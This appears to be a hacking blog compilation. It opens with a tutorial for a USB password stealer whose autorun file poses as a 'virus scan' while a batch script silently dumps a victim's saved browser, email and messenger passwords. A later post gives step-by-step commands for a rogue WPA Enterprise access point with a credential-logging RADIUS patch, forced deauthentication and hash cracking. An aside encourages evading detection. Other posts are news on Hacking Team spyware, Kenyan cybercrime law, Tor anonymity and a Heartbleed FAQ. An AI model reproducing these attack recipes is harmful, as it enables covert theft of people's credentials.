Creating a USB Password Stealer #Pentesting #USB #Passwords #Infosec #Security

One of the most dangerous things we all do on a regular basis, for obvious reasons, is saving our passwords in our browsers. We don't really think about the dangers in it, we see the convenience in not having to input (in my case) 10 characters after already typing our username or email every time we want to do something as simple as log in to Facebook. Well this tutorial can show you how dangerous it really is just storing your passwords for easy access to your accounts.

I want everyone to keep in mind, this tutorial is strictly for educational purposes, & any attempts to use these tactics for stealing information without permission is solely on you. Don't go tattling on me.

What you'll need:

A USB Drive, preferably 2GB+

A Windows computer

MessenPass: Used for recovering passwords from various instant messenger applications.

Mail PassView: Used to fetch passwords from popular email clients such as Outlook or Thunderbird.

IE PassView: Used to gather passwords stored by Internet Explorer (for those who just can't accept change..)

Protected Storage PassView: This program retrieves passwords from Windows 'protected storage'. This is one of the most useful.

PasswordFox: Used to fetch passwords & sensitive information from Firefox.

Now, there are many others that you can add to this USB Password Fetcher, & if you know of any that you feel should be added to this article, don't hesitate to comment.

Preparing the drive

Before anything else, we want to get all the applications ready to go & installed on the USB drive. You'll ONLY need the executable (*.exe) files to be on the USB drive. Download the 5 tools & extract the executables to the drive. With the next step, we'll write a simple Autorun.inf file that will tell the victim's computer to run these applications.

Making the drive run automatically

What is an autorun.inf?

An autorun.inf file is a text file that can be used by the AutoRun and AutoPlay components of Microsoft Windows operating systems. For the file to be discovered and used by these component, it must be located in the root directory of a volume. As Windows has acase-insensitive view of filenames, the autorun.inf file can be stored as AutoRun.inf or Autorun.INF or any other case combination.

The AutoRun component was introduced in Windows 95 as a way of reducing support costs. AutoRun enabled application CD-ROMs to automatically launch a program which could then guide the user through the installation process. By placing settings in anautorun.inf file, manufacturers could decide what actions were taken when their CD-ROM was inserted. The simplest autorun.inf files have just two settings: one specifying an icon to represent the CD in Windows Explorer (or "My Computer") and one specifying which application to run.

This file will tell the victim's computer to run the various tasks we want the USB drive to perform.

Writing the Autorun.inf

Open Notepad & paste the following code in the document:

[autorun]

open=launch.bat

ACTION= Perform a Virus Scan

Now go to File & click Save As..

Save the file as: autorun.inf on the USB Drive's root.

Be sure to change the Save As Type to All Files, otherwise you'll just be saving this as a text file.

This alone won't do what we need it to, but as you can see its launching a batch(*.bat) file that we'll write next that will perform the password fetching process. The reason we do this is because we can perform more advanced tasks with a batch file than we can with an autorun.inf.

The ACTION= will display to the end user what the USB Drive's function is. We both know that its not performing a virus scan, but we wouldn't be very stealthy if it just read STEALING YOUR PASSWORD. U MAD BRO? so we're going to disguise this as a healthy computing task.

Writing the batch file

Open up Notepad again, & paste the following:

start mspass.exe /stext mspass.txt

start mailpv.exe /stext mailpv.txt

start iepv.exe /stext iepv.txt

start pspv.exe /stext pspv.txt

start passwordfox.exe /stext passwordfox.txt

Aside from launching the various applications, we're actually asking the computer to log everything in an individual text (*.txt) file. Now if you really want to, you could ask the computer to create one universal log file, but I wouldn't recommend this. Its much easier to decipher this way.

Go to File, & Save As.. and save this file as launch.bat on the USB drive's root. Be sure to change the Save As Type to All Files, otherwise you'll just be saving this as a text file.

Now everything should be ready for testing!

Testing the USB Password Fetcher

Now keep in mind, in some cases, Autorun could be completely disabled, in which this tactic will not work, but let's get started with our first test.

Pop the USB Drive in any available USB port on the victim machine, & an autorun prompt will pop-up. The first option should say Perform A Virus Scan. Perform your "virus scan" & silently, your password fetcher is throwing all the information into various text files on your USB Drive. This process is relatively quick, so don't fret if you blinked & missed it.

Enjoy those passwords

Pull your drive from the victim computer & plug it into your personal computer. This time, to view the passwords, choose Open folder to view files from the autorun menu, & check your text files.

Researchers Uncover Spying Tool Used by Governments to Hijack all Types of Smartphones #Hacking #Privacy #Spying #Hijacking #Surveillance

Purchasing malware to victimize people is illegal by laws but if the same thing any government official do, then its not!! Yes, the police forces around the World are following the footsteps of U.S. National Security Agency (NSA) and FBI.

Researchers from the Citizen Lab at the Munk School of Global Affairs at the University of Toronto and computer security firm Kaspersky Lab have unearthed a broad network of controversial spyware which is specially designed to give law enforcement agencies complete access to a suspect's phone for the purpose of surveillance.

MALWARE FOR DESKTOPS AND ALL MOBILE DEVICES

The malware, dubbed as Remote Control System (RCS), also known as Da Vinci and Galileo, is developed by an Italian company known as Hacking Team, available for desktop computers, laptops, and mobile devices. The latest version of the malware works for all phone including Android, iOS, Windows Mobile, Symbian and BlackBerry devices, but best on Android devices, and can also be installed on jailbroken iOS devices. But even if the targeted iOS device is not jailbroken, the malware uses the famous Evasi0n jailbreaking tool to install the malware easily.

The team of researchers from both Citizen Lab and Kaspersky Lab in collaboration has presented their findings during an event in London. According to the report published, the diameter of the command infrastructure supporting Hacking Team, which sells the RCS to governments and law enforcement, is very vast with 326 command-and-control (C&C) servers running in more than 40 countries.

MALWARE DEVELOPERS - ‘HACKING TEAM’

Hacking Team is a Milan-based IT company with more than 50 employees that has made a totally different place for itself selling "offensive" intrusion and surveillance software to governments and law enforcement agencies in "several dozen countries" on "six continents."

“It was a well-known fact for quite some time that the HackingTeam products included malware for mobile phones. However, these were rarely seen,” said Kaspersky Lab experts on the blog post. “In particular, the Android and iOS Trojans have never been identified before and represented one of the remaining blank spots in the story.”
WORLD WIDE WEB OF COMMAND-N-CONTROL SERVERS

Kaspersky Lab researchers have used a fingerprinting method to scan the entire IPv4 space and to identify the IP addresses of RCS Command & Control servers around the world and found the biggest host in United States with 64 counts of C&C servers. Next on the list was Kazakhstan with 49, Ecuador has 35, UK which hosts 32 control systems and many other countries with a grand total of 326 Command & Control servers.

"The presence of these servers in a given country doesn't mean to say they are used by that particular country's law enforcement agencies," said Sergey Golovanov, principal security researcher at Kaspersky Lab. "However, it makes sense for the users of RCS to deploy C&Cs in locations they control – where there are minimal risks of cross-border legal issues or server seizures."

RCS can be physically implanted on the victim’s device through a USB or SD card, and remotely it can be installed through spear phishing, exploit kits, drive-by downloads or network traffic injection.

Once installed on Apple iOS and Android device, the new module enable governments and law enforcement officers with larger capabilities to monitor victim devices, including the ability to:

• control phone network
• steal data from their device
• record voice E-mail
• intercept SMS and MMS messages
• obtain call history
• report on their location
• use the device’s microphone in real time
• intercept voice and SMS messages sent via applications such as Skype, WhatsApp, Viber, and much more.

"Secretly activating the microphone and taking regular camera shots provides constant surveillance of the target—which is much more powerful than traditional cloak and dagger operations," Golovanov wrote.

While, the Android module is protected by an optimizer for Android called DexGuard that made the it extremely difficult to analyze. However, most of the iOS capabilities mentioned above are also available for Android, along with the support for hijacking applications such Facebook, Google Talk, Tencent of China and many more.

The mobile modules for each are custom-built for each target, researchers said. From previous disclosures we have seen that RCS is currently being used to spy on political dissidents, journalists, human rights advocates, and opposing political figures.

Credited to: Hacker News Website

Intel Developing RFID Tracking and Remote Controlled 'Kill Switch' for Laptops #Intel #KillSwitch #Theft

 

 

Kill Switch - the ability to render devices non-operational to prevent theft - has become a hot topic nowadays. The ability to remotely destroy data of the device lost or stolen has been available for quite some time now, but Kill switch not only remotely destroy the devices’ data but also the device itself, making it useless for the thieves.

Just last week, Google and Microsoft signed an agreement with the New York Attorney General to add "kill switches" to the upcoming versions of Android and Windows Phone devices, as a part of the "Secure our Smartphones" initiative.

But now, the largest chip manufacturer, Intel will soon going to provide Kill Switches for your laptops as well. The company has been working on a project called Wireless Credential Exchange (WCE) with several partners in an effort to bring Kill switch to other mobile devices, including laptops.

The project uses RFID technology to provision, track and monitor devices such as laptops, hospital equipment and other devices, including a Kill Switch option for the lost or stolen devices.

You all might have heard about the RFID technology, which has been available for more than fifty years. RFID, stands for Radio-frequency identification, is the wireless non-contact use of Radio-Frequency electromagnetic fields to transfer signals, for the purposes of automatically identifying and tracking tags attached to objects.

The Wireless Credential Exchange (WCE) uses the Monza RFID chips developed by Impinj, industry-standard RFID readers created by Technology Solutions UK and a cloud-based data repository and dashboard created by Burnside Digital called IPTrak software.

The IPTrak software that ties all components together, allows Intel SoC to read and write data such as unique IDs, error logs, permissions, and device configuration to the Monza chip, even if the system is powered off.

Devices can be scanned using a RFID reader and data from the IPTrak software stored in a cloud-based database and accessed via IPTrak mobile device apps for Windows, iOS, or Android applications using Bluetooth technology.

For example, It has ability to disable a device prior to shipping and then only reactivating the device once it reaches its final destination. This would render a device useless if it were lost or stolen during shipment.

In addition to this, devices returned to a factory or repair center could be scanned, error logs read, and the device routed to the appropriate technicians without even opening the box.

Two years back, Intel added ‘Kill Switch’ to its Sandy Bridge processors naming them Anti-Theft 3.0, using which the processor can be disabled even if the computer has no Internet connection or isn't even turned on, over a 3G network, so that if computer is lost or stolen, it can be shut down remotely.

 

Posted Courtesy of Hacker News Website

 

Tough Law on Cybercrime Targets All Kenyans #Hackers #Hacking #Cybercrime #Cyberbulling #Kenya

Kenya still relies on Central Depositories Act and the Penal Code, among other frameworks, that are not clear with regard to arresting and prosecuting cyber-crime suspects. Previously, Kenyans courts were limited in trying offenses committed outside the country. Those found guilty will either be fined up to Sh2 million, be jailed for three years, or both.Courts in the country will soon have jurisdiction to try any Kenyan citizen who commits an offense anywhere in the world if the Cybercrime and Computer Crimes Bill, 2014 becomes law.

The Bill, which was drafted by the office of the Director of Public Prosecution and is to be tabled in Parliament, proposes actions for offence committed in and outside Kenya.

“We need these laws and once in place we have to sensitise Kenyans so that we can deal with cybercrime,” Deputy Director of Public Prosecutions Dorcas Oduor said when opening a forum for stakeholders to discuss the proposed Bill this week. (READ: There’s urgent need for internet law)

Previously, Kenyans courts were limited in trying offences committed outside the country.

DISCLOSE PASSWORDS

Those found guilty of committing the offence on a ship or aircraft registered in Kenya, using a Kenyan domain name or outside the territory of Kenya will also be prosecuted.

They will either be fined up to Sh2 million, be jailed for three years, or both.

Evidence generated from a computer system will also be admissible in a court of law while prosecuting such a crime.

The Bill also proposes that a person who causes a computer system to perform a function, knowing that the access they intend to secure is unauthorised, commits an offence.

“A person who intentionally and without lawful excuse or justification, inputs, alters, delays transmission, deletes, or suppresses computer data, resulting in inauthentic data with the intent that it be considered or acted upon for legal purposes as if it were authentic, commits an offence and is liable upon conviction to a fine not exceeding ten million or ten years imprisonment or both.”

EMOTIONAL DISTRESS

The Bill also proposes that a person who sells, lets to hire, distributes, publicly exhibits through a computer system and puts into circulation, or for purposes of sale, hire, distribution, public exhibition or circulation, makes, produces or their possession any obscene book, pamphlet, paper, drawing, painting, art, representation or figure or any other obscene object commits an offence.

Those using computers to threaten, abuse or insulting words or behaviour, displays publishes or distributes written or electronic material; or distributes, shows or plays, a recording of visual images will be held accountable.

The Bill also proposes action on a person who uses a computer system including electronic communication to harass, intimidate or cause substantial emotional distress or anxiety to another person.

These include communicating obscene, vulgar, profane, lewd, lascivious, or indecent language, picture or image.

Courts will also issue a warrant authorising a police officer or lawful authority, to enter any premises to access, search and seize the thing or computer data.

All public or private corporations processing personal data will be expected to report any security breaches resulting in theft, loss or misuse of data to the police and those who will fail will be committing an offence.

 Depicted from The Daily Nation

Is it worth it?! For others, they need that rush, that adrenaline flow in their blood,so its a fruit that must be eaten-I have one phrase to guide you; that's if you can't stay away from that adrenaline rush: 'Make it hard for them to find you, and impossible for them to prove they've found you' *Winks* Happy Hunting

Attacking WPA/WPA2 Enterprise Networks #Hacking #Networking #Infosec #WiFi #Wireless #WPA2

Introduction:

This guide will discuss some of the security flaws regarding wireless networks implementing WPA/WPA2 Enterprise authentication as well as ways to exploit these weaknesses. Enterprise type authentication models are mostly used in corporate settings consisting of companies that typically have a lot of people. From what I have seen a lot of Universities, Colleges as well as Hospitals also use this form of authentication to verify its users. The methods discussed below are usually a result of VERY COMMON poor configuration in regards to certificate validation as well as RADIUS configuration.

DISCLAIMER: DO NOT USE ANY OF THE METHODS BELOW AGAINST NETWORKS THAT YOU ARE NOT AUTHORIZED TO AUDIT.

Homework: First and foremost if you do not know exactly how enterprise authentication works I suggest you do some reading to get yourself familiar with the process of how clients are verified. I highly suggest reading this PEAP which discussed the different types authentication types that can take place within enterprise. Also take a look at RADIUS which gives some nice detail as to how the RADIUS server works. A few things to take note of:

1. WPA/WPA2 Enterprise does NOT use a preshared key, this means that every time a user is verified on the network a random key is generated. To the best of my knowledge this cannot be cracked by capturing packets.

2. This guide will cover mainly PEAP since it accounts for 80% or more of the types used in the US (see Wikipedia page)

3. EAP is responsible for authentication NOT the access point

4. The access point handles the encryption( TKIP/CCMP)

I will try and outline how the authentication process works as simply as possible...

Okay, this diagram will hopefully help you visualize what's going on. Here is the process in order which things occur.... 1.Client sends request to access point to connect. 2. The access point responds telling the client to connect to the RADIUS server to be authenticated. 3. Client connects to the RADIUS server. 4. RADIUS sets up TLS tunnel to receive username and password from client. 4. RADIUS server verifies client . 5. RADIUS server tells access point that the client is verified and can now connect. 

Scenario 1: For our first attack we will be using a rogue access point. Due to the way enterprise is implemented this becomes essential in helping us get past the RADIUS server problem. The Radius server uses a certificate to validate the access point along with the network. Once the certificate is validated the client sends his username and password to the server to be verified. What we will be exploiting is a VERY common mistake made in configuring PEAP, where certificate validation is NOT used! If PEAP is configured this way (surprisingly a lot of the time it is..) the client will not be prompted if an invalid certificate is used and unknowingly will accept it. Step 1: Create a fake AP by matching the target networks SSID, encryption type and band (a/b/g/n).

This can very simple or very complex depending on how sophisticated you want this attack to be. For example you could take a regular Linksys home router change its settings and run it off of batteries for more stealth placement. See this link for details on running a router off of batteries Wrt54g on batteries. You can run a normal Linksys router on a lead acid battery for close to a month.

This allows for stealthy placement of the access point where it will not need a hard wired power source. Using modified antennas and/or amplifies will also be more powerful in getting users to connect. (more info on this later)

 

Step 2: Create our own fake RADIUS server.

Okay we have our fake access point that identical to our target network. Now we need our fake RADIUS server. We will be setting up our own little fake RADIUS server on a version of Backtrack4 which will be connected wirelessly to our fake access point. Download the free radius server from www.freeradius.org (You may need version 2.02 haven't tested with the newer one) . Extract freeRADIUS and go to that directory. We will be applying a patch known as Wireless Pwnage Edition created by Joshua Wright and Brad Antoniewicz. Available here WPE freeradius. What this patch does:

• Will return success for ANY authentication request regardless of who it is.
• Will create a Log of all client credentials. This includes username, password and the challenge response. (if you don't know what a challenge response is you didn't read the Wikipedia page)
• This will log credentials for PEAP, TTLS, LEAP, EAP-MD5, EAP-MSCHAPv2,PAP,CHAP

In the directory where freeRadius is extracted run the following to patch freeRADIUS. $ patch -p1 < ../freeradius-wpe-2.0.2.patch $ ./configure && make && sudo make install && sudo ldconfig Now we will create our certificates. $ cd freeradius-server-2.0.2/raddb/certs $ ./bootstrap $ sudo cp -r * /usr/local/etc/raddb/certs Start the server. # radiusd Monitor the Log File # tail -f /usr/local/var/log/radius/freeradius-server-wpe.log

Next we need to set our fake access point to use our RADIUS server.

Fill in the required fields on the fake access point. Now we need to get a client to connect to our AP. You can do this a few ways. You can simply wait until a client connects or if your impatient like me you can start deauthenticating people from legit access points. ( we all know how to do that right :p ) There's other ways as well, by having the strongest signal strength people will connect to your AP instead of others, you can do this by using antennas/amplifiers if necessary. Chances are you shouldn't have to go the amplifier route and you should have a victim connect to your AP and type in their credentials which the RADIUS server will capture. When viewing the log you should see something like this. (**NOTE** VISIBLE ACCESS POINTS TAKE PRECEDENCE OVER HIDDEN ACCESS POINTS IN WINDOWS)

The challenge and response is their password. Now we have to crack it with a dictionary attack.

Fire up Asleap This is what we will be using to crack the challenge and response. Type the following ./asleap -w "wordlistgoeshere" -C "Challenge" -R "Response" Now you wait. Depending on how good your dictionary is you will have a password. GRATZ!

Scenario 2 (excuse my lack of detail, if anyone wants I will write up a more detailed version) Now what if the certificate validation is used when configuring PEAP? This will cause the user to be prompted to accept the certificate when they join a new network. The dialog box that is presented gives VERY LITTLE DETAIL! Their certificate will verify that the network they are joining is correct and legitimate. We can apply the same attack as above and succeed as long as the user accepts the certificate and they did not specify which server the certificate is valid for which is not filled in by default. This is another very common negligence by people setting up PEAP. Now knowing end users, the chances are pretty good that they will click accept since the dialog provides minimal detail. Now before we proceed we will need to sniff the certificate that the user is using. This can be done with almost any wireless capture tool. When a user connects to their network a TLS connection will be setup up and the certificate will be able to be captured as it is not encrypted during the first request. After some very basic wireless sniffing, determine the CA of the certificate. These are usually the major vendors such as Verisign. You will need to purchase a LEGITIMATE certificate from this vendor to perform the attack. After you have purchased the certificate set the fake RADIUS server up to use it. Now because the person who configured PEAP did not specify the server that the certificate was valid for the user will not see any difference in accepting ours since its from the same vendor.

Scenario 3  Iphone exploit When you have a company that uses WPA/WPA2 enterprise chances are there's going to be some iphones around. This presents a great opportunity to infiltrate the network due to a fundamental flaw in the iphones wifi setup. The iphone does not have the options to specify what authentication type to use in regards to enterprise they simply just aren't there. The iphone also doesn't allow for a preconfigured certificates meaning they can't be tied to a legit RADIUS server. This flaw makes them susceptible even in the worst case scenario being certificate validation is enabled tied to a specific radius server. Please keep in mind that some phones do support these options, such as the Motorola droid but Iphones DO NOT.

 Conclusion When performing an audit on a WPA/WPA2 Enterprise network always check for common misconfiguration of their equipment as these may lead to insecurities. ALWAYS make sure your clients have certificate authentication enabled as well as a specific server tied to it. Special Thanks to the guys over at SecureState Well that's the end of this guide...I guess. Let me know what you think =)

How To Remain Anonymous Online #Anonymous #Internet #Tor #WebBrowsing

One year after the first revelations of Edward Snowden, cryptography has shifted from an obscure branch of computer science to an almost mainstream notion: It’s possible, user privacy groups and a growing industry of crypto-focused companies tell us, to encrypt everything from emails to IMs to a gif of a motorcycle jumping over a plane.
But it’s also possible to go a step closer toward true privacy online. Mere encryption hides the content of messages, but not who’s communicating. Use cryptographic anonymity tools to hide your identity, on the other hand, and network eavesdroppers may not even know where to find your communications, let alone snoop on them. “Hide in the network,” security guru Bruce Schneier made his first tip for evading the NSA. “The less obvious you are, the safer you are.”
Though it’s hardly the sole means of achieving online anonymity, the software known as Tor has become the most vouchsafed and developer-friendly method for using the Internet incognito. The free and open source program triple-encrypts your traffic and bounces it through computers around the globe, making tracing it vastly more difficult. Most Tor users know the program as a way to anonymously browse the Web. But it’s much more. In fact, Tor’s software runs in the background of your operating system and creates a proxy connection that links with the Tor network. A growing number of apps and even operating systems provide the option to route data over that connection, allowing you to obscure your identity for practically any kind of online service.
Some users, in fact, are experimenting with using Tor in almost all their communications. “It’s like being a vegetarian or a vegan,” says Runa Sandvik, a privacy activist and former developer for Tor. “You don’t eat certain types of food, and for me I choose to use Tor only. I like the idea that when I log onto a website, it doesn’t know where I’m located, and it can’t track me.”
Here’s how you can use the growing array of anonymity tools to protect more of your life online.

Web Browsing

The core application distributed for free by the non-profit Tor Project is the Tor Browser, a hardened, security-focused version of Firefox that pushes all of your Web traffic through Tor’s anonymizing network. Given the three encrypted jumps that traffic takes between computers around the world, it may be the closest thing to true anonymity on the Web. It’s also rather slow. But the Tor browser is getting faster, says Micah Lee, a privacy-focused technologist who has worked with the Electronic Frontier Foundation—one of the organizations that funds the Tor Project—and First Look Media. For the past month or so, he’s tried to use it as his main browser and only switch back to traditional browsers occasionally, mostly for flash sites and others that require plugins.
After about a week, he says, the switch was hardly noticeable. “It may not be entirely necessary, but I haven’t found it that inconvenient either,” Lee says. “And it does have real privacy benefits. Everyone gets tracked everywhere they go on the Web. You can opt of out of that.”

Email

The simplest way to anonymously send email is to use a webmail service in the Tor Browser. Of course, that requires signing up for a new webmail account without revealing any personal information, a difficult task given that Gmail, Outlook, and Yahoo! Mail all require a phone number.
Runa Sandvik suggests Guerrilla Mail, a temporary, disposable email service. Guerrilla Mail lets you set up a new, random email address with only a click. Using it in the Tor Browser ensures that no one, not even Guerrilla Mail, can connect your IP address with that ephemeral email address.
Encrypting messages with webmail can be tough, however. It often requires the user to copy and paste messages into text windows and then use PGP to scramble and unscramble them. To avoid that problem, Lee instead suggests a different email setup, using a privacy-focused email host like Riseup.net, the Mozilla email app Thunderbird, the encryption plugin Enigmail, and another plugin called TorBirdy that routes its messages through Tor.

 

Instant Messaging

Adium and Pidgin, the most popular Mac and Windows instant messaging clients that support the encryption protocol OTR, also support Tor. (See how to enable Tor in Adium here and in Pidgin here.) But the Tor Project  is working to create an IM program specifically designed to be more secure and anonymous. That Tor IM client, based on a program called Instant Bird, was slated for release in March but is behind schedule. Expect an early version in mid-July.

Large File Transfers

Google Drive and Dropbox don’t promise much in the way of privacy. So Lee created Onionshare, open-source software that lets anyone directly send big files via Tor. When you use it to share a file, the program creates what’s known as a Tor Hidden Service—a temporary, anonymous website—hosted on your computer. Give the recipient of the file the .onion address for that site, and they can securely and anonymously download it through their Tor Browser.

Mobile Devices

Anonymity tools for phones and tablets are far behind the desktop but catching up fast. The Guardian Project created an app called Orbot that runs Tor on Android. Web browsing, email and IM on the phone can all be set to use Orbot’s implementation of Tor as a proxy.
Apple users don’t yet have anything that compares. But a 99-cent app called Onion Browser in the iOS app store offers anonymous web access from iPhones and iPads. An audit by Tor developers in April revealed and helped fix some of the program’s vulnerabilities. But Sandvik suggests that prudent users should still wait for more testing. In fact, she argues that the most sensitive users should stick with better-tested desktop Tor implementations. “If I were in a situation where I needed anonymity, mobile is not a platform I’d rely on,” she says.

Everything Else

Even if you run Tor to anonymize every individual Internet application you use, your computer might still be leaking identifying info online. The NSA has even used unencrypted Windows error messages sent to Microsoft to finger users and track their identities. And an attacker can compromise a web page you visit and use it to deliver an exploit that breaks out of your browser and sends an unprotected message revealing your location.
So for the truly paranoid, Lee and Sandvik recommend using entire operating systems designed to send every scrap of information they communicate over Tor. The most popular Tor OS is Tails, or The Amnesiac Incognito Live System. Tails can boot from a USB stick or DVD so no trace of the session remains on the machine, and anonymizes all information. Snowden associates have said the NSA whistleblower is himself a fan of the software.
For the even more paranoid, there is a lesser-known Tor-enabled OS called Whonix. Whonix creates multiple “virtual machines” on the user’s computer—software versions of full computer operating systems that are designed to be indistinguishable from a full computer. Any attacker trying to compromise the user’s computer will be confined to that virtual machine.
That virtualization trick underlines an important point for would-be anonymous Internet users, Lee says: If your computer gets hacked, the game is over. Creating a virtual sandbox around your online communications is one way to keep the rest of your system protected.
“Tor is awesome and can make you anonymous. But if your endpoint gets compromised, your anonymity is compromised too,” he says. “If you really need to be anonymous, you also need to be really secure.”

Adapted from the Wired Website

The Heartbleed Bug #Infosec #SSL #Vulnerability

The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. This weakness allows stealing the information protected, under normal conditions, by the SSL/TLS encryption used to secure the Internet. SSL/TLS provides communication security and privacy over the Internet for applications such as web, email, instant messaging (IM) and some virtual private networks (VPNs). The Heartbleed bug allows anyone on the Internet to read the memory of the systems protected by the vulnerable versions of the OpenSSL software. This compromises the secret keys used to identify the service providers and to encrypt the traffic, the names and passwords of the users and the actual content. This allows attackers to eavesdrop on communications, steal data directly from the services and users and to impersonate services and users.

What leaks in practice?

We have tested some of our own services from attacker's perspective. We attacked ourselves from outside, without leaving a trace. Without using any privileged information or credentials we were able steal from ourselves the secret keys used for our X.509 certificates, user names and passwords, instant messages, emails and business critical documents and communication.

How to stop the leak?

As long as the vulnerable version of OpenSSL is in use it can be abused. Fixed OpenSSL has been released and now it has to be deployed. Operating system vendors and distribution, appliance vendors, independent software vendors have to adopt the fix and notify their users. Service providers and users have to install the fix as it becomes available for the operating systems, networked appliances and software they use.

---

Q&A

What is the CVE-2014-0160?

CVE-2014-0160 is the official reference to this bug. CVE (Common Vulnerabilities and Exposures) is the Standard for Information Security Vulnerability Names maintained by MITRE. Due to co-incident discovery a duplicate CVE, CVE-2014-0346, which was assigned to us, should not be used, since others independently went public with the CVE-2014-0160 identifier.

Why it is called the Heartbleed Bug?

Bug is in the OpenSSL's implementation of the TLS/DTLS (transport layer security protocols) heartbeat extension (RFC6520). When it is exploited it leads to the leak of memory contents from the server to the client and from the client to the server.

What makes the Heartbleed Bug unique?

Bugs in single software or library come and go and are fixed by new versions. However this bug has left large amount of private keys and other secrets exposed to the Internet. Considering the long exposure, ease of exploitation and attacks leaving no trace this exposure should be taken seriously.

Is this a design flaw in SSL/TLS protocol specification?

No. This is implementation problem, i.e. programming mistake in popular OpenSSL library that provides cryptographic services such as SSL/TLS to the applications and services.

What is being leaked?

Encryption is used to protect secrets that may harm your privacy or security if they leak. In order to coordinate recovery from this bug we have classified the compromised secrets to four categories: 1) primary key material, 2) secondary key material and 3) protected content and 4) collateral.

What is leaked primary key material and how to recover?

These are the crown jewels, the encryption keys themselves. Leaked secret keys allow the attacker to decrypt any past and future traffic to the protected services and to impersonate the service at will. Any protection given by the encryption and the signatures in the X.509 certificates can be bypassed. Recovery from this leak requires patching the vulnerability, revocation of the compromised keys and reissuing and redistributing new keys. Even doing all this will still leave any traffic intercepted by the attacker in the past still vulnerable to decryption. All this has to be done by the owners of the services.

What is leaked secondary key material and how to recover?

These are for example the user credentials (user names and passwords) used in the vulnerable services. Recovery from this leak requires owners of the service first to restore trust to the service according to steps described above. After this users can start changing their passwords and possible encryption keys according to the instructions from the owners of the services that have been compromised. All session keys and session cookies should be invalidated and considered compromised.

What is leaked protected content and how to recover?

This is the actual content handled by the vulnerable services. It may be personal or financial details, private communication such as emails or instant messages, documents or anything seen worth protecting by encryption. Only owners of the services will be able to estimate the likelihood what has been leaked and they should notify their users accordingly. Most important thing is to restore trust to the primary and secondary key material as described above. Only this enables safe use of the compromised services in the future.

What is leaked collateral and how to recover?

Leaked collateral are other details that have been exposed to the attacker in the leaked memory content. These may contain technical details such as memory addresses and security measures such as canaries used to protect against overflow attacks. These have only contemporary value and will lose their value to the attacker when OpenSSL has been upgraded to a fixed version.

Recovery sounds laborious, is there a short cut?

After seeing what we saw by "attacking" ourselves, with ease, we decided to take this very seriously. We have gone laboriously through patching our own critical services and are dealing with possible compromise of our primary and secondary key material. All this just in case we were not first ones to discover this and this could have been exploited in the wild already.

How revocation and reissuing of certificates works in practice?

If you are a service provider you have signed your certificates with a Certificate Authority (CA). You need to check your CA how compromised keys can be revoked and new certificate reissued for the new keys. Some CAs do this for free, some may take a fee.

Am I affected by the bug?

You are likely to be affected either directly or indirectly. OpenSSL is the most popular open source cryptographic library and TLS (transport layer security) implementation used to encrypt traffic on the Internet. Your popular social site, your company's site, commerce site, hobby site, site you install software from or even sites run by your government might be using vulnerable OpenSSL. Many of online services use TLS to both to identify themselves to you and to protect your privacy and transactions. You might have networked appliances with logins secured by this buggy implementation of the TLS. Furthermore you might have client side software on your computer that could expose the data from your computer if you connect to compromised services.

How widespread is this?

The most notable software using OpenSSL are the open source web servers like Apache and nginx. The combined market share of just those two out of the active sites on the Internet was over 66% according to Netcraft's April 2014 Web Server Survey. Furthermore OpenSSL is used to protect for example email servers (SMTP, POP and IMAP protocols), chat servers (XMPP protocol), virtual private networks (SSL VPNs), network appliances and wide variety of client side software. Fortunately many large consumer sites are saved by their conservative choice of SSL/TLS termination equipment and software. Ironically smaller and more progressive services or those who have upgraded to latest and best encryption will be affected most. Furthermore OpenSSL is very popular in client software and somewhat popular in networked appliances which have most inertia in getting updates.

What versions of the OpenSSL are affected?

Status of different versions:

• OpenSSL 1.0.1 through 1.0.1f (inclusive) are vulnerable
• OpenSSL 1.0.1g is NOT vulnerable
• OpenSSL 1.0.0 branch is NOT vulnerable
• OpenSSL 0.9.8 branch is NOT vulnerable

Bug was introduced to OpenSSL in December 2011 and has been out in the wild since OpenSSL release 1.0.1 on 14th of March 2012. OpenSSL 1.0.1g released on 7th of April 2014 fixes the bug.

How common are the vulnerable OpenSSL versions?

The vulnerable versions have been out there for over two years now and they have been rapidly adopted by modern operating systems. A major contributing factor has been that TLS versions 1.1 and 1.2 came available with the first vulnerable OpenSSL version (1.0.1) and security community has been pushing the TLS 1.2 due to earlier attacks against TLS (such as the BEAST).

How about operating systems?

Some operating system distributions that have shipped with potentially vulnerable OpenSSL version:

• Debian Wheezy (stable), OpenSSL 1.0.1e-2+deb7u4
• Ubuntu 12.04.4 LTS, OpenSSL 1.0.1-4ubuntu5.11
• CentOS 6.5, OpenSSL 1.0.1e-15
• Fedora 18, OpenSSL 1.0.1e-4
• OpenBSD 5.3 (OpenSSL 1.0.1c 10 May 2012) and 5.4 (OpenSSL 1.0.1c 10 May 2012)
• FreeBSD 10.0 - OpenSSL 1.0.1e 11 Feb 2013
• NetBSD 5.0.2 (OpenSSL 1.0.1e)
• OpenSUSE 12.2 (OpenSSL 1.0.1c)

Operating system distribution with versions that are not vulnerable:

• Debian Squeeze (oldstable), OpenSSL 0.9.8o-4squeeze14
• SUSE Linux Enterprise Server
• FreeBSD 8.4 - OpenSSL 0.9.8y 5 Feb 2013
• FreeBSD 9.2 - OpenSSL 0.9.8y 5 Feb 2013
• FreeBSD 10.0p1 - OpenSSL 1.0.1g (At 8 Apr 18:27:46 2014 UTC)
• FreeBSD Ports - OpenSSL 1.0.1g (At 7 Apr 21:46:40 2014 UTC)

How can OpenSSL be fixed?

Even though the actual code fix may appear trivial, OpenSSL team is the expert in fixing it properly so fixed version 1.0.1g or newer should be used. If this is not possible software developers can recompile OpenSSL with the handshake removed from the code by compile time option -DOPENSSL_NO_HEARTBEATS.

Should heartbeat be removed to aid in detection of vulnerable services?

Recovery from this bug might have benefitted if the new version of the OpenSSL would both have fixed the bug and disabled heartbeat temporarily until some future version. Majority, if not almost all, of TLS implementations that responded to the heartbeat request at the time of discovery were vulnerable versions of OpenSSL. If only vulnerable versions of OpenSSL would have continued to respond to the heartbeat for next few months then large scale coordinated response to reach owners of vulnerable services would become more feasible. However, swift response by the Internet community in developing online and standalone detection tools quickly surpassed the need for removing heartbeat altogether.

Can I detect if someone has exploited this against me?

Exploitation of this bug does not leave any trace of anything abnormal happening to the logs.

Can IDS/IPS detect or block this attack?

Although the heartbeat can appear in different phases of the connection setup, intrusion detection and prevention systems (IDS/IPS) rules to detect heartbeat have been developed. Due to encryption differentiating between legitimate use and attack cannot be based on the content of the request, but the attack may be detected by comparing the size of the request against the size of the reply. This implies that IDS/IPS can be programmed to detect the attack but not to block it unless heartbeat requests are blocked altogether.

Has this been abused in the wild?

